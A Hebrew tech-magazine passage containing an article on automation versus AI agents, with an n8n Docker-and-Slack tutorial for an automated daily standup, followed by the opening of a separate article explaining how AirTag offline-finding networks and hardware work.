היום כולם מדברים על ChatGPT, Copilot ודומיהם, כולם אומרים שיש להם סוכנים במוצר שלהם. אבל רוב האנשים לא מבינים את ההבדל העמוק בין אוטומציה קלאסית לבין סוכן AI. בלי ההבנה הזו, קשה לדעת מתי להשתמש במה, ואיך למנוע אכזבה או בזבוז משאבים.

במאמר הזה נעשה סדר (או לפחות ננסה): נבין מה זו אוטומציה, מה זה סוכן, מה ההבדלים ביניהם, ואיך אפשר בעזרת כלי אחד (נתן - או בשמו המקצועי N8N) לחבר בין העולמות.

מה זה בעצם אוטומציה?

נתחיל בקלאסיקה, אוטומציה זה לא איזה באז וורד חדש של 2025, אלא משהו שמלווה אותנו כבר עשרות שנים.
אם תרצו אפשר אפילו להגיד שזה הסבא של עולם הטכנולוגיה - הדוגמה הכי בסיסית כשמדברים על להפוך תהליכים לאוטומטיים.

ואפילו אם תסבירו את זה לילד בכיתה ח', הוא יבין את הקונספט תוך שתי דקות.

אבל אם בכל זאת... מה זה בכלל אומר? פשוט מאוד: לקחת פעולה שחוזרת על עצמה, להגדיר לה חוקים, ולתת לה לרוץ ולספק לנו את התוצאה.

אז למה בכלל אנחנו צריכים אוטומציה?

התשובה היא שילוב של עצלנות בריאה ו־יעילות עסקית קרה. אנחנו לא רוצים לעשות שוב ושוב את אותן פעולות משעממות או להעסיק מישהו שיעשה את זה בעבורנו והמחשב הרי מעולה בזה.

דוגמאות יומיומיות

- בבית: שעון שבת או טיימר של הדוד - זו אוטומציה לכל דבר.
- במשרד: אוטומציה ב-gmail ששולחת כל מייל עם המילה "חשבונית" ישירות לתיקייה ייעודית בעבור מחלקת ראיית החשבון של החברה.
- בעולם הטכנולוגי: CI/CD pipeline שמריץ טסטים ומעלה גרסה לשרת בכל פעם שמישהו עושה push ל־GitHub. כן כן, גם זאת אוטומציה.

היתרונות ברורים

- חיסכון בזמן - פעולה שלוקחת לנו שעה ביום יכולה להפוך ללחיצת כפתור או אפילו להיעלם לגמרי עם cron job פשוט.
- צמצום טעויות - כשאנשים עושים פעולות חוזרות, הטעות היא רק עניין של זמן. אוטומציה פשוט עושה בדיוק מה שהגדרנו.
- סקיילינג - עסק קטן שמוכר באונליין יכול להתנהל כמו חנות ענק, כי הכל רץ לבד: מיילים, חשבוניות, עדכוני מלאי ואפילו שירות לקוחות בסיסי.
- שקט נפשי - הידיעה שדברים "פשוט קורים" בלי שצריך להזכיר לעצמנו אותם שוב ושוב.

ומה עם החסרונות?

אוטומציה היא אמנם חכמה, אבל היא גם קשיחה כפי שכבר אמרנו. ברגע שמבנה הטופס משתנה, או השם של עמודת אקסל מתחלף התהליך יכול ליפול.

בנוסף, היא לא מבינה את ההקשר: מבחינתה "מייל חשוב" ו"מייל ספאם" יכולים להיראות אותו הדבר, אלא אם כתבנו לה חוק ברור.

במילים אחרות: אוטומציה היא לא "קסם". היא כלי יעיל מאוד, אבל כזה שעובד טוב רק כשהמציאות מתנהגת כמו שתכננו.

אבל איפה ה-AI?

בשלב הזה אתם בטח שואלים את עצמכם: "רגע, כל זה נחמד ויפה, אבל איפה נכנס ה־AI? חשבתי שהבטחתם סוכנים חכמים, לא עוד איזה טיימר של דוד."

למה אנחנו בכלל מתכוונים כשאנחנו אומרים "סוכן AI"?

סוכן זה לא עוד אוטומציה עם פילטרים מתוחכמים. זה לא "אם השעה אחרי 10 אז תדליק לי מזגן". סוכן אמיתי אמור לדעת להבין את השאלה או המטרה שלך, ולמצוא בעצמו איך להגיע לתוצאה. במילים אחרות: במקום שאתה תכתיב לו את כל השלבים, הוא בוחר את הדרך.

סוכן חושב אחרת

בואו נדמיין מצב:

- אתה אומר לאוטומציה: "תבדוק את מזג האוויר ותשלח לי מייל."
- אתה אומר לסוכן: "אני מתלבט אם לצאת לריצה היום." האוטומציה תישאר עם פה פעור - אין לה מושג מה לעשות עם זה. הסוכן, לעומת זאת, יבין שזה קשור למזג אוויר, יביא נתונים מה־API, ישווה את הטמפרטורה להעדפות שלך (שאתה רץ רק אם פחות מ־30 מעלות), ואפילו יציע לך שעה חלופית שבה פחות חם.

למה זה מעניין?

כי בפעם הראשונה אנחנו לא צריכים לחשוב על כל התהליך בעצמנו.

סוכן נותן לך "מישהו" מאחורי הקלעים שעושה ניסוי וטעיה. זה כבר לא copy-paste של כללים, אלא זה ממש סוג של "עובד מתלמד" - כזה שעדיין טועה לפעמים, אבל יודע לאלתר ורק צריך לפעמים לוודא אותו.

מה זה לא

הרבה חברות מתלהבות ואומרות "יש לנו סוכן AI!" כשבפועל מדובר פשוט באוטומציה שמשתמשת ב־GPT כדי לנסח תשובה יפה יותר, זה לא סוכן - זה קוסמטיקה (בהמשך נבין שזה לא בהכרח רע, יכול להיות שזה פשוט הצורך).

סוכן אמיתי צריך לקבל חופש פעולה: הוא לא רק מקבל טקסט ועונה, אלא יכול גם ליזום צעדים בעצמו. למשל לקרוא ל-API חיצוני, לעדכן מערכת אחרת עם MCP, או אפילו להחליט לא לעשות כלום אם זה לא נחוץ.

בוא נגיע לתכלס, נתן!

הגיע הזמן שנגיע לתכלס, בוא נבנה סוכן בעצמנו.

מספיק שפתחתם לינקדין בחודשים האחרונים ובטוח נתקלתם באיזה מפתח שהעלה את ה-workflow שלו ב-N8N והתלהב.

אז N8N (או נתן בשמו הישראלי) הוא כלי open source שמאפשר לחבר בין מגוון רחב של שירותים כמו Gmail, Slack, Chat GPT ועוד, מבלי לכתוב אפילו שורת קוד אחת!

אפשר להגיד שזה בעצם סוג של Zapier אבל על סטרואידים - הוא פתוח, גמיש, ויכול להיות אפילו חינמי אם מעלים אותו על גבי תשתית עצמאית.

קישור לריפו: https://github.com/n8n-io/n8n

יש לנו בעצם שלוש דרכים להשתמש ב-N8N:

- להשתמש בשירות המוכן שלהם בענן - פשוט, בלי כאבי ראש, אבל גם תלוי בצד שלישי ולפעמים אף בתשלום.
- להתקין מקומית באמצעות npm - גמיש, אבל קצת פחות נוח לניהול בסקייל ולפעמים עושה בעיות עם גרסאות node.
- להרים אותו על קונטיינר בדוקר.

כמפתח שמצא את אהבתו הנצחית בקונטיינרים, נבחר באופציה השלישית כמובן, דוקר.

הדרישות הן די בסיסיות, מה שנצטרך זה סה"כ דוקר מותקן על המכונה שלנו וטרמינל זמין שנוכל לכתוב בו את פקודת ההרצה.

```
docker volume create n8n_data

docker run -it --rm --name n8n -p 5678:5678 -v n8n_data:/home/node/.n8n
docker.n8n.io/n8nio/n8n
```

לאחר שנריץ את הפקודות לעיל, הממשק ה-web-י יהיה זמין לנו בכתובת: http://localhost:5678, ומה שנראה זה בעצם המסך הראשוני הבא:

בשלב הזה N8N מבקש מאיתנו להגדיר משתמש ראשי - זה בעצם חשבון המנהל שיש לו שליטה מלאה על המערכת.

לאחר שמילאתם את הפרטים, לחצו על Next ותועברו למסך הראשי של N8N.

מצוין, עכשיו אנחנו יכולים להתחיל לבנות את הסוכן שלנו!

מה שנבנה זה סוכן "ראש צוות" שיבצע את הדיילי בכל בוקר בעבורנו, יחסוך זמן יקר, וישמור גם תיעוד היסטורי של כל הפגישות.

במקום שנבזבז רבע שעה כל בוקר בלספר אחד לשני מה עשינו אתמול ומה נעשה היום, הסוכן ישלח הודעה קצרה בערוץ של הצוות, יאסוף את התשובות (בעתיד ניתן גם להצליב אותן עם נתוני GitHub/Jira), יסכם הכול בצורה ברורה, וישלח את הדוח לערוץ הצוות בסלאק.

התוצאה? דיילי אסינכרוני, מתועד, קצר ולעניין - בלי שנצטרך אפילו לפתוח מצלמות בזום.

נחזור למסך הבית של N8N, מוצגות לנו בעצם שתי אפשרויות:

- **Start from scratch** - להתחיל workflow חדש לגמרי.
- **Test a simple AI Agent example** - דוגמה מוכנה מראש של סוכן פשוט.

במקרה שלנו אנחנו רוצים לבנות את סוכן ה־"ראש צוות" לדיילי מהיסוד, אז נבחר באפשרות הראשונה - **Start from scratch**.

לחיצה על האפשרות הזו תפתח לנו קנבס ריק, שבו נתחיל לגרור **Nodes**.

אבל רגע! מה זה Node בכלל?

Node הוא "בלוק" שמבצע פעולה אחת בתוך ה-Workflow שלנו: טריגר, שליפת מידע מ־API, שליחת הודעה לסלאק, או אפילו קטע קוד מותאם אישית.

כשמחברים כמה Nodes יחד - אנחנו בונים Workflow שלם, צעד אחרי צעד, עד שהסוכן שלנו יודע לפעול בדיוק כמו שאנחנו רוצים.

נתחיל ונוסיף את ה-Node הראשון שלנו, כדי שהסוכן שלנו ירוץ בכל בוקר כמו שעון שווייצרי, נוסיף Node מסוג Cron:

1. במסך הקנבס, נלחץ על ה-+ בצד ימין.
2. נבחר ב-On a schedule מתוך רשימת ה־Nodes.
3. בחלון ההגדרות, נקבע שה־workflow ירוץ כל יום בשעה 09:00 (או שעה אחרת שמתאימה לכם).
4. נלחץ על כפתור ה-Back to canvas.

כעת אנחנו יכולים לראות בעצם את ה-Node הראשון שלנו שיפעיל את הסוכן בכל בוקר בזמן המוגדר.

אז יש לנו טריגר קבוע - כל יום בשעה 09:00 הסוכן שלנו קם לעבודה. עכשיו נעבור לשלב הבא: איסוף תשובות מחברי הצוות שלנו.

כשמבצעים דיילי בדרך כלל מתעסקים בשלוש שאלות קלאסיות שאותן נרצה שהסוכן שלנו ישאל:

1. מה עשית אתמול?
2. מה מתוכנן להיום?
3. האם יש חסמים?

כדי לעשות את זה נוסיף Slack Node (אפשר גם Discord או Email או בעצם כל כלי תקשורת שאתם משתמשים בו בצוות, אבל נבחר ב-Slack כי זו בד"כ הדוגמה הכי נפוצה בצוותים טכנולוגיים):

1. נלחץ על ה-+ אחרי ה־Schedule Trigger שכבר הוספנו.
2. נכתוב בתיבת החיפוש Slack ונבחר באופציה הראשונה.
3. נבחר ב-Send a message.
4. כעת אנחנו בתוך ההגדרות של ה-Slack, נתחבר לחשבון שלנו תחת השדה של Credential to connect with.
5. נבחר לשלוח את ההודעה בערוץ של הצוות שלנו.
6. נשים בשדה Message Text את הטקסט שנרצה לשלוח, לדוגמה:

בוקר טוב ☕ זה הזמן לדיילי!

1) מה עשית אתמול?
2) מה מתוכנן להיום?
3) האם יש חסמים שצריך לטפל בהם?

7. לאחר שמילאנו את הפרטים, נוכל ללחוץ על **Execute step** כדי לוודא שההודעה באמת נשלחת לסלאק בערוץ הרלוונטי.
8. לאחר הצלחה, נלחץ על כפתור ה-Back to canvas.

כעת, זה המסך שאנחנו צריכים לראות, שימו לב שיש V ירוק קטן מתחת ל-Slack כדי לוודא שהוא באמת מחובר ועובד באופן תקין.

שלחנו הודעה - עכשיו צריך להקשיב למה שחוזר. כאן יש לנו 2 דרכים עיקריות:

1. Slack Trigger (מומלץ אם עובדים רק עם Slack)
2. Webhook (אם רוצים יותר שליטה)

אנחנו נשתמש בראשונה.

עכשיו מה שנעשה זה נוסיף Node חדש של **Slack Trigger** שיאסוף את התשובות של חברי הצוות בערוץ שלנו. בכל פעם שמפתח יכתוב תשובה לדיילי בערוץ (מה עשה אתמול, מה מתכנן להיום, חסמים), ה־workflow יקבל את ההודעה כקלט ויוכל להמשיך לעיבוד.

1. נלחץ על ה־+ אחרי ה־Slack Node הקודם שהוספנו.
3. נכתוב בתיבת החיפוש Slack ונבחר באופציה הראשונה.
4. נגלול למטה ל-Triggers ונבחר ב-On New Message Posted to Channel.
5. כעת אנחנו בתוך ההגדרות של ה-Slack, נתחבר לחשבון שלנו תחת השדה של Credential to connect with.
6. נבחר את הערוץ הרלוונטי שלנו תחת Channel to Watch.

מעכשיו, כל הודעה חדשה שתישלח לערוץ הזה תיכנס ישירות ל־workflow ותהיה זמינה לנו כקלט להמשך ה-Workflow.

(חשוב לשים לב, צריכים להגדיר ב-Slack את ה-Request URL תחת Event Subscriptions ולהפעיל את ה-Workflow למעלה בשביל לבצע את הבדיקה).

עכשיו נוסיף Node חדש מסוג Set שבעצם ינקה לנו את התשובות ויחזיר רק את המידע שבאמת חשוב לנו להמשך.

במקום לקבל מה־Slack Trigger אובייקט מלא עם עשרות שדות, אנחנו נבחר לשמור רק את שם המשתמש, הטקסט של ההודעה, וה־timestamp.

- נלחץ על ה־+ אחרי ה־Slack Node הקודם שהוספנו.
- נכתוב בתיבת החיפוש **Set** ונבחר באופציה הראשונה.
- כעת אנחנו בתוך ההגדרות של ה־Set, נוסיף שלושה שדות:
  - user נגדיר אותו כ-={{$json["event"]["user"]}}
  - text נגדיר אותו כ-={{$json["event"]["text"]}}
  - ts נגדיר אותו כ־={{$json["event"]["ts"]}}

מעכשיו, כל הודעה חדשה שתישלח בערוץ ותעבור דרך ה־Slack Trigger, ה־Set ידאג להחזיר לנו גרסה "נקייה" ומצומצמת של התשובה: רק מי כתב, מה הוא כתב, ומתי.

עכשיו נוסיף Node חדש של OpenAI שייקח את כל התשובות מה-Set Node, יסכם אותן, ויחזיר טקסט מסודר שאפשר לשלוח לצוות.

איך אנחנו עושים את זה?

1. נלחץ על ה-+ אחרי ה-Edit Fields הקודם שהוספנו.
2. נכתוב בתיבת החיפוש OpenAI ונבחר באופציה הראשונה.
3. נבחר באפשרות של Message a model.
4. נוסיף את ה-API Key שלנו (צריך לקחת מהמשתמש ב-OPEN AI).
5. בשדה Model נבחר למשל gpt-4o-mini או gpt-4-turbo (לסיכומים קצרים זה יהיה לנו מספיק).
6. בשדה Message נכניס את ההנחיות לסיכום (כמובן שניתן להתאמה מלאה לצורך שלכם).

לדוגמה: אתה מסכם דיילי של צוות פיתוח.

קלט: רשימת תשובות של חברי הצוות. הפק סיכום קצר וברור במבנה:

- אתמול: נקודות עיקריות לפי משתמש
- היום: משימות מתוכננות
- חסמים: רשימה תמציתית עם הצעה לפעולה

7. בתור Input Data (הפאנל שמימין) נעביר את השדה text מכל תשובה שנקלטה (מה־Set Node).

עכשיו נוסיף Node חדש של Slack שייקח את הפלט מה־OpenAI וישלח אותו חזרה לערוץ הצוות כסיכום הדיילי.

איך נעשה את זה? כמו שכבר ביצענו בעבר.

1. נלחץ על ה-+ אחרי ה־OpenAI Node שהוספנו.
2. נכתוב בתיבת החיפוש Slack ונבחר באופציה הראשונה.
3. נבחר בפעולה Send a message.
4. נגדיר אותו עם אותם Credential שהגדרנו קודם.
5. בשדה Channel to Send נבחר את הערוץ שבו אנחנו רוצים לפרסם את הסיכום (יכול להיות ערוץ ייעודי לסיכומים, או אותו ערוץ של הצוות).
6. בשדה Message Text נשים את הפלט שמגיע מה־OpenAI Node.

מה שקיבלנו כאן זה בעצם את השלב האחרון בסוכן שלנו!

כמובן שמה שיש לנו כאן זה בקושי הבסיס.

את אותו סוכן אפשר לקחת הרבה צעדים קדימה ולחבר אותו לקצוות נוספים בעבודה היומיומית של הצוות: הוא יכול למשל לבדוק Pull Requests פתוחים בגיטהאב ולצרף לתקציר הדיילי רשימה של PRs שממתינים ל־Review.

מתי סוכן לא מתאים ל-use case שלי?

סוכן לא תמיד יהיה הפתרון האופטימלי עבורנו.

למרות כל ההתלהבות סביב היכולת של סוכני AI "לחשוב" ולהבין הקשר, חשוב לזכור שהם לא פתרון קסם (או אנושיים!), אלא כלי עם יתרונות וגם עם לא מעט מגבלות.

לא בכל מצב נרצה לשלוף סוכן כדי לפתור בעיה. לפעמים הפתרון הפשוט והקשיח של אוטומציה יהיה הרבה יותר יעיל, זול ובטוח.

יש גם מקרים שבהם שימוש בסוכן עלול אפילו להזיק - אם זה בגלל רגישות של התהליך, עלויות חישוב גבוהות, או תחושת ביטחון מזויפת שנוצרת מתשובות שנשמעות חכמות אך בפועל שגויות.

לכן, לפני שבוחרים ללכת על סוכן, כדאי לעצור רגע, לשאול את עצמנו האם באמת מדובר ב-use case שמתאים, ולשקול אם אין דרך פשוטה וישירה יותר להשיג את אותה מטרה.

הנה כמה דוגמאות שבהן לא בטוח שנרצה להשתמש בסוכן:

תהליכים קריטיים או רגישים

ככל שסוכני AI משתפרים, הם עדיין לא מחליפים אחריות אנושית כשמדובר בתהליכים קריטיים או רגישים.

למשל, הפעלת תהליכי Deploy לסביבת פרודקשן, טיפול בנתוני לקוחות רגישים או פעולות פיננסיות – כל אלו דורשים בקרה כפולה, נהלים מסודרים ויכולת להבין השלכות גם במקרי קצה.

סוכן יכול להקל, לייעץ או להתריע, אבל ברגע שנותנים לו חופש פעולה מלא במקומות כאלה הסיכון הוא גבוה מדי, הוא עלול לפרש לא נכון קלט, להסתמך על מידע חלקי או לפעול בהקשר שגוי.

התוצאה יכולה להיות השבתה יקרה או אפילו פגיעה אמיתית בלקוחות. לכן, בסביבות רגישות עדיף להסתמך על אוטומציות קשיחות וברורות עם בקרות אנושיות ולא על סוכן ש"מבין הקשר".

עלויות חישוב גבוהות

סוכנים חכמים נשמעים מגניב עד שמגיע החשבון, כל פעולה שמערבת מודל AI דורשת קריאה ל־API והמשמעות היא כמובן כסף!

במערכות שעובדות בהיקפים גדולים, ההבדל בין אוטומציה קלאסית (כמעט חינמית אחרי ההקמה) לבין סוכן יכול להיות אלפי דולרים בחודש. לדוגמה, אם יש לכם תהליך שמריץ אלפי אינטראקציות ביום - עדיף לשאול האם באמת חייבים את ההקשר של AI, או שמספיקה לוגיקה פשוטה של IF/ELSE.

כשמדובר בארגונים גדולים, חישוב העלויות האלה הופך להיות קריטי: סוכן יכול לשדרג חווית עבודה, אבל אם הוא חותך רבע מהתקציב החודשי - זה כבר לא בטוח הפתרון האופטימלי עבורנו.

כשיש פתרון אוטומציה פשוט שעובד מעולה

לפעמים אנחנו נוטים להתלהב מהבאזז של "סוכן AI", גם כשאין בזה צורך אמיתי. אם המשימה שלכם היא פשוט לשמור קובץ מצורף בגוגל דרייב או לשלוח התראה בערוץ סלאק כשמשהו קורה - אין שום סיבה לייצר לשם סוכן מורכב.

אוטומציה פשוטה, קבועה וקשיחה תעשה את העבודה טוב יותר, מהר יותר ובזול יותר. סוכן מתאים בעיקר כשיש הרבה משתנים או הקשרים שצריך להבין, כשהמשימה ברורה וישירה - עדיף לנו לא לסבך יותר מדי.

כמו שתמיד אומרים בעולם הפיתוח: Keep It Simple, אחרת אנחנו עלולים להעמיס מורכבות על משהו שהיה אמור להיות קליל.

הסיכון של "אשליית אינטליגנציה"

אחת הבעיות הגדולות עם מודלי AI היא שהם מחזירים תשובות שנשמעות מאוד חכמות - אבל לא תמיד נכונות. זו ה"אשליה" שיכולה להטעות צוותים!

אתה קורא תשובה מנוסחת היטב, מניח שהיא אמינה, ורק אחרי זמן מגלה שהיא לא מדויקת או אפילו מנותקת מהמציאות. בסביבות עבודה טכנולוגיות, זה יכול להוביל להחלטות שגויות, השקעת זמן בכיוון לא נכון או פספוס באגים אמיתיים.

לכן, בכל שימוש בסוכן חשוב לשמור על ביקורתיות: להצליב נתונים, לשים מנגנוני בדיקה, ולא להניח שהסוכן "יודע" אלא רק שהוא "מחזיר הערכות".

סיכום

אז לסיכום, השאלה אם לבחור בסוכן או באוטומציה היא פחות החשובה.

מה שבאמת קובע זה להבין קודם כל את הצורך העסקי או הטכנולוגי, לאפיין אותו נכון, ורק אחר כך לבחור את הכלי האופטימלי עבורנו.

הכלי שהכרנו פה (N8N) הוא לא פחות מ-Game Changer: הוא נותן גם לאנשים פחות טכנולוגיים את היכולת לבנות תהליכים חכמים, סוכנים או אוטומציות, בלי לכתוב קוד מסובך ובלי להיות תלויים בצוותי פיתוח.

אמנם בדוגמה שלנו התמקדנו בשימוש פנימי (דיילי אוטומטי לצוות פיתוח) אבל השמיים הם הגבול.

החל מניתור מערכות ותמיכה, דרך אינטגרציות עם CRM ומערכות מכירה, ועד חיבורים עמוקים בפרודקשן כמו בדיקות QA אוטומטיות, ניהול תורים או ניתוח דאטה בזמן אמת.

המאמר הזה לא נועד להפוך אתכם למומחי n8n או ל־AI Agents Architects, אלא לפתוח לכם את הראש, לתת לכם הצצה ליכולות העוצמתיות של כלים מהסוג הזה, ולהראות איך בעזרת כמה צעדים פשוטים אפשר להחזיק ביד כלי עם כוח ועוצמה אמיתיים - כזה שיכול לחסוך זמן, כסף, ובעיקר כאב ראש.

על המחבר

אני עומר מושקטל, חי את עולם התוכנה והיזמות כבר עשור. כיום אני מפתח תוכנה במועדון הכדורגל מכבי חיפה, שם אני אחראי על פיתוח האקו־סיסטם הטכנולוגי בעבור האוהדים – מהאפליקציה והאתר ועד פתרונות שמאחורי הקלעים. מעבר לצד המקצועי, אני כמובן גם אוהד ירוק שרוף, אז זאת הייתה הזדמנות מדהימה לחבר בין האהבה למכבי חיפה וכדורגל לבין טכנולוגיה (שהאמת התאהבתי בה בגיל מוקדם יותר).

אני בוגר תכנית מגשימים, שם גם הדרכתי תלמידים בתחומי פיתוח וסייבר - וחבר פעיל בארגון הבוגרים מגשימים נקסט, קהילה שמחברת בוגרי יחידות טכנולוגיות, יזמים ואנשי היי־טק מהטופ של הטק הישראלי. מוזמנים להצטרף ולעקוב אחרי הקהילה בסושיאל שלנו:

https://www.linkedin.com/company/magshimim-next

https://www.instagram.com/magshimim.next

לאורך הדרך יצא לי להקים פרויקטים עצמאיים, ללמד ולהכשיר סטודנטים ותלמידים ישר לתעשייה, ולהיות חלק מעולמות הסטארטאפ והחדשנות גם כשכיר וגם כעצמאי.

במקביל אני לומד ניהול ומדעי המחשב באוניברסיטה הפתוחה ומחוץ לחיים המקצועיים אני אוהב לתקלט, לשחק פוקר, לטפס על קירות (ממש פיזית, לא רק כשאני מתכנת) וממש אוהב צ'יפס.

מוזמנים להתחבר אליי בלינקדין: https://www.linkedin.com/in/omer-mushkatel.

או לבקר באתר שלי (מבטיח שאני משתדל לעדכן אותו מעת לעת): Mushkatel.com

מקורות מידע

- https://www.youtube.com/watch?v=EH5jx5qPabU&t=140s
- https://www.geektime.co.il/what-the-hell-is-n8n-and-why-is-it-so-hot-now
- https://jetserver.co.il/articles/n8n
- https://www.youtube.com/watch?v=qk5JH6ImK0I
- https://docs.n8n.io
- https://www.datacamp.com/code-along/building-your-first-ai-agent-with-n8n

Where is my AirTag

מאת גפן אלטשולר

הקדמה

תגיות האיתור הגיחו לחיינו בסערה יחסית לאחרונה. רובנו התחלנו להכיר אותן עם שחרור תגיות ה-AirTag של Apple באמצע שנת 2021 - בין אם זה על ידי רכישת אחת התגיות הללו וצירופה למפתחות\מזוודה\חיית המחמד שלנו, או על ידי כתבות שקפצו לנו באתרי החדשות על שימוש זדוני שנעשה בהן. במהלך המאמר נסביר את הקונספט שעומד מאחורי תגיות האיתור הללו - "Offline Finding", כיצד הוא פועל ומה הופך אותו לכל כך מיוחד וחדשני בתחום (רמז: הוא Offline). בנוסף, נכיר מספר תגיות ומכשירים שכבר עושים שימוש ברשתות מהסוג הזה, כאשר נתמקד בתגית החיפוש הפופולארית מכולן כיום AirTag.

משחק מחשבה

נניח והייתם מתבקשים לעצב תגית איתור משלכם. על התגית שלכם לשדר את המיקום שלה, להיות קטנה וקומפקטית, ובעלת סוללה שתספיק לחודשים רבים.

הפתרון הראשון שיעלה לרובנו יהיה תגית שתכיל את הרכיבים הבאים:

- חיישן GPS
- בעלת כרטיס סים או חיישן WIFI

ואכן, החיישנים האלה באמת יעשו את העבודה בשבילינו – באמצעות חיישן ה-GPS התגית תחשב את המיקום שלה, ובאמצעות אותה קישוריות לאינטרנט נשדר את המיקום לבעלי התגית.

ואכן, עד לאחרונה כך נראו מכשירי מעקב קלאסיים, אבל בטח שאי אפשר היה לקרוא להם תגיות. הם היו יותר מכשירים גדולים ומסורבלים לתפעול, בעלי בטרייה גדולה - בכל זאת, חיישנים בזבזניים, ויותר מכל יקרים ולא נגישים לקהל הרחב (אלא אם כן אתם חברת בילוש).

נשמע שלא ממש הצלחנו לעצב **תגית** איתור, בדרכים המקובלות... אם כך מה נעשה?

Offline Finding

אז הבנו שהפתרונות הקלאסיים שנוגעים למיקום וקישוריות לאינטרנט לא ממש יעבדו אם נרצה לעצב תגית אלגנטית, כזאת שתהיה חסכונית בסוללה וגם זולה.

ופה נכנס החידוש הגדול של רשתות offline finding. במקום **שהמכשיר יחשב וישדר את המיקום שלו בעצמו**, **מכשירים אחרים בקרבתו יעשו זאת בשבילו**. בכך אנחנו מייתרים את הצורך של שימוש בחיישנים לאיתור המיקום, ובקישוריות לאינטרנט. וברגע שהורדנו את שני הדברים האלה מהמשוואה – כמות הכוח שנצטרך לספק היא משמעותית יותר קטנה. זה יאפשר לנו להקטין את הבטרייה בצורה דרסטית ולהוריד חיישנים מיותרים, וכתוצאה מכך את המכשיר כולו.

אפשר גם להגדיר את זה בצורה כזאת - הפכנו את תגית האיתור ל-"טיפשה", בכך שהורדנו ממנה את כל החיישנים שצורכים את רוב האנרגיה של הסוללה, והשארנו אותה רק עם התכונה המאוד פרימיטיבית: "להכריז", שהיא נוכחת, כך שכל המכשירים שנמצאים בקרבתה יידעו שהיא שם, ויבצעו איזושהי לוגיקה שתגרום לבעלי התגית לראות את המיקום שלה, לדוגמה – לחשב את המיקום הנוכחי של המכשיר, ולשלוח אותו לשרת.

אך מה זה אומר בדיוק? איך נגרום לאותם מכשירים להריץ את הלוגיקה הזאת בשבילינו? ולמה שהם יעשו את זה בכלל? הרי זאת פעולה שתבזבז להם מהסוללה ומחבילת הגלישה - והם לא חייבים לי שום דבר, בעלי המכשיר כנראה אפילו לא מכירים אותי.

אז התשובה הקצרה: אין להם ברירה. מדובר בתכונה שמגיעה כחלק ממערכת ההפעלה (IOS\Android), וזה מה שמעניק את הכוח ליצרניות הגדולות לייצר רשתות גדולות, בכך שהן "מכריחות" את המשתמשים שלהם להפוך למאתרים בשביל משתמשים אחרים שלהם, בעלי התגית.

אותה תגית איתור עושה שימוש ב**רשת איתור**. אותה רשת איתור אמונה על שליחת מיקומה הנוכחי של התגית, כאשר העבודה מהצד של התגית היא מאוד פשוטה - לשדר שהיא נוכחת. נשמע פשוט לא? אך בשביל לקיים את הפשטות הזאת מהצד של התגית, נצטרך לבנות מנגנון מתוחכם בצד של הרשת, עליו נרחיב בהמשך.

שוק תגיות החכמות

אז כמו שכבר הבנו, תגית האיתור שלנו צריכה להשתמש ברשת איתור מסוימת. היא יכולה להשתמש בזאת של Apple (Find My), שנכון להיום כוללת מעל מיליארד מכשירים, זאת של סמסונג בה מכשירי ה-SmartTags עושים שימוש: רשת ה-SmartThings, עם מעל 300 מיליון מכשירים, או זאת של חברת Tile אשר השיקה תגיות איתור כבר בעשור הקודם (Tile Network) ועל פי החברה מונה מעל ל-40 מיליון מכשירים, או זאת של גוגל שעדיין לא הוציאה תגיות איתור משלה, בה עקרונית כל מכשיר אנדרואיד עם גרסה תומכת אמור להשתתף ברשת, מה שמציב אותה בתור בעלת הפוטנציאל להיות הגדולה ביותר. ישנן אפילו תגיות של חברת Chipolo שעושות שימוש בשתי רשתות איתור שונות: גם זאת של Apple וגם של Samsung!

בחרתי להתמקד ב-AirTag במאמר כי נכון להיום מדובר בתגית האיתור הכי נפוצה, וברשת האיתור הגדולה ביותר. אומנם היא לא הייתה הראשונה שיישמה את הקונספט של Offline Finding, אבל היא בהחלט זאת שהביאה את "הבשורה" של תגיות האיתור.

ניתן גם להסיק לבד שבשביל שתגיות האיתור שלי יוכלו לתקשר בצורה אמינה ורצופה הביתה, אני צריך רשת איתור בעלת פריסה משמעותית כבר מהיום הראשון של יציאת התגית לשוק, ולכן האופציה לייצר תגיות כאלו בעיקר שמורה ליצרניות הגדולות. ככל שרשת האיתור גדולה יותר – כך דיוק ומהירות עדכון המיקום תהיה גבוהה יותר. כלומר, מה שהופך את תגית האיתור ל-"חזקה" הן לא התכונות הפיזיות שלה, אלא פריסת הרשת אליה היא מחוברת.

נכון לשנה זו דבר אחד בטוח – אם קניתם AirTag, אתם כנראה תצליחו לאתר אותו בכל מקום בעולם, והוא בטוח לא יהיה מוגבל רק לעיר שלכם. זאת גם אחת הסיבות שהוא כל כך יעיל בטיולים לחו"ל: חוששים שהמזוודה שלכם תלך לאיבוד? פשוט תזרקו את אחת התגיות פנימה.

נקודה מעניינת נוספת: בשנים האחרונות יכולת איתור לא מקוון נוספה גם למכשירי Apple נוספים כמנגנון הגנה מפני איבוד\גניבה, כדוגמת Iphone\Ipad ואפילו AirPods. זאת אומרת, גם כאשר מכשיר ה-Apple שלכם מכובה, עדיין ניתן יהיה לאתר אותו באמצעות רשת FindMy!

מאחורי הקלעים מדובר באותו פרוטוקול כמו זה של ה-AirTag. לכן, כל מה שנדבר עליו ונדגים במהלך המאמר יהיה תקף לא רק ל-AirTag, אלא גם לשאר מכשירי Apple שעושים שימוש בפרוטוקול הזה.

מבנה ה-AirTag

כעת נסקור את המבנה הפיזי של תגית ה-AirTag. מתחת למעטה הפלסטיק הלבן מסתתרים חיישנים שמסודרים בצורה אלגנטית, כאשר הבטרייה תופסת את רוב נפח ה-AirTag. הסקירה תהיה נכונה גם כלפי רוב תגיות האיתור הנוספות, רק שבמקרה שלהן כנראה יהיה מדובר ברכיבים מיצרנים אחרים ובעיצוב שונה.

תגית ה-AirTag בעלת החיישנים הבאים:

- חיישן BLE – כל תקשורת ה-AirTag נעשית על גבי Bluetooth Low Energy, תקן תקשורת אלחוטי המבוסס על בלוטות', אבל שנועד לצרוך הרבה פחות אנרגיה . הוא עושה זאת באמצעות העברת כמויות קטנות של מידע בלבד, ובקצב נמוך.
- חיישן UWB מסוג U1 של Apple – ראשי תיבות של "Ultra Wideband", חיישן המספק ניווט ברזולוציה גבוהה עבור מכשירים תומכים (Iphone 11 ומעלה). מדובר בצ'יפ שמסוגל לשדר רדיו בתדר ובפולסים גבוהים, לטווח קצר ובתזמון מדויק. בכך הוא מאפשר למכשיר המאתר את התגית לחשב את המרחק והכיוון אל התגית באמצעות מדידת זמן מעבר האות (Time of Flight, המכשיר מחשב את כמות הזמן שלקחה לאות להגיע, ומכיוון שהמהירות בה הגל האלקטרומגנטי קבועה – מהירות האור, ניתן לקבוע את המרחק המדויק של התגית)
